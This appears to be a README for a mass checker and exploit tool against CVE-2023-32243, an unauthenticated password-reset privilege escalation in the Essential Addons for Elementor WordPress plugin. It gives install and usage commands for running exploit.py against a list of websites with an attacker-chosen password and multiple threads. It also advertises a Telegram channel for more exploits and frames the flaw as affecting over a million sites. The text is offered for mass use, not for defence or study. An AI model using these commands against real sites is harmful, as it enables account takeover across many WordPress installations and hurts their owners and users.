Mass check & exploit Essential Addons for Elementor 5.4.0-5.7.1 - Unauthenticated Privilege Escalation
The plugin does not validate the password reset key, which could allow unauthenticated attackers to reset arbitrary account's password to anything they want, by knowing the related email or username, gaining access to them For more info about exploit & tools join in https://t.me/DailyToolz
pip install -r requirements.txt
python scan.py
CVE-2023-32243
Title : Mass Exploit & Checker Elementor privesc 0day
Exploit type : privilege-escalation
Affected : 1 million +
usage: main.py [-h] -l LISTS [-t THREAD] -p PASSWORD [-usr USERNAME]
main.py: error: the following arguments are required: -l/--lists, -p/--password
python3 exploit.py --l listweb.txt --password "adminmemek" -t 10
You can also use without threading ( more accurate )
python3 exploit.py --l listweb.txt --password "adminmemek"